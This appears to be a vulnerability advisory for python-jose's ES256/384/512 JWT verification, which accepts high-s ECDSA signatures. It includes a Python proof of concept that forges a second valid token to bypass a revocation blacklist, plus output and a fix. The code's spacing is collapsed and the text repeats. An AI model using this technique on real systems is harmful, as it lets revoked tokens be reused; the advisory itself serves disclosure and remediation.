Summary
python-jose does not enforce low-s normalization on ECDSA signatures. For any valid signature (r, s), (r, n-s) is also accepted. This produces two distinct JWT strings with identical claims, bypassing token blacklists and deduplication.
- Library: python-jose 3.5.0 (latest)
- Algorithms: ES256, ES384, ES512
Root Cause
Verification path: jws.verify() -> ECKey.verify() -> cryptography library -> ec.ECDSA(hashes.SHA256()) -> OpenSSL.
No step checks s <= n/2. OpenSSL accepts both s and n-s as mathematically valid.
Impact
An attacker who obtains a valid JWT can compute a second valid JWT (different bytes, same claims) without knowing the private key. If the application revokes tokens by storing the JWT string in a blacklist, the malleable variant bypasses it.
PoC
# poc.pyimportsys, ioifsys.platform=="win32":
sys.stdout=io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")
fromjoseimportjwt, __version__fromcryptography.hazmat.primitives.asymmetricimportecfromcryptography.hazmat.primitivesimportserializationimportbase64N=0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551defb64url_dec(s):
returnbase64.urlsafe_b64decode(s+"="* (4-len(s) %4))
defb64url_enc(b):
returnbase64.urlsafe_b64encode(b).rstrip(b"=").decode()
# Generate ES256 keyprivate_key=ec.generate_private_key(ec.SECP256R1())
pub_pem=private_key.public_key().public_bytes(
serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
priv_pem=private_key.private_bytes(
serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
# Signtoken=jwt.encode({"sub": "user@example.com", "role": "admin"}, priv_pem, algorithm="ES256")
# Extract r, sparts=token.split(".")
sig=b64url_dec(parts[2])
r, s=int.from_bytes(sig[:32], "big"), int.from_bytes(sig[32:64], "big")
s_prime=N-s# Build malleable tokennew_sig=r.to_bytes(32, "big") +s_prime.to_bytes(32, "big")
malleable=parts[0] +"."+parts[1] +"."+b64url_enc(new_sig)
print(f"ECDSA Malleability - python-jose {__version__}")
print("="*40)
print(f"Original s: {'low-s'ifs<=N//2else'HIGH-s'}")
print(f"Flipped s': {'low-s'ifs_prime<=N//2else'HIGH-s'}")
print(f"Tokens identical: {token==malleable}")
print()
# Verify originaltry:
jwt.decode(token, pub_pem, algorithms=["ES256"])
print("[1] Original: VALID")
exceptExceptionase:
print(f"[1] Original: REJECTED - {e}")
# Verify malleabletry:
jwt.decode(malleable, pub_pem, algorithms=["ES256"])
print("[2] Malleable: VALID")
exceptExceptionase:
print(f"[2] Malleable: REJECTED - {e}")
# Blacklist bypassblacklist= {token}
print()
print("[3] Blacklist bypass:")
print(f" Original in blacklist: {tokeninblacklist}")
print(f" Malleable in blacklist: {malleableinblacklist}")
ifmalleablenotinblacklist:
print(" --> BLACKLIST BYPASSED")Reproduction
pip install python-jose[cryptography]
python poc.py
Output:
[1] Original: VALID
[2] Malleable: VALID
[3] Blacklist bypass:
Original in blacklist: True
Malleable in blacklist: False
--> BLACKLIST BYPASSED
Recommended Fix
After ECDSA verification, reject if s > n // 2:
ifs>n//2:
raiseJWSError('ECDSA signature s value not normalized')Precedent: Bitcoin enforced this in 2014 (BIP-62). Go's crypto/ecdsa enforced it in 2024.
Summary
python-jose does not enforce low-s normalization on ECDSA signatures. For any valid signature
(r, s),(r, n-s)is also accepted. This produces two distinct JWT strings with identical claims, bypassing token blacklists and deduplication.Root Cause
Verification path:
jws.verify()->ECKey.verify()->cryptographylibrary ->ec.ECDSA(hashes.SHA256())-> OpenSSL.No step checks
s <= n/2. OpenSSL accepts bothsandn-sas mathematically valid.Impact
An attacker who obtains a valid JWT can compute a second valid JWT (different bytes, same claims) without knowing the private key. If the application revokes tokens by storing the JWT string in a blacklist, the malleable variant bypasses it.
PoC
Reproduction
Output:
Recommended Fix
After ECDSA verification, reject if
s > n // 2:Precedent: Bitcoin enforced this in 2014 (BIP-62). Go's
crypto/ecdsaenforced it in 2024.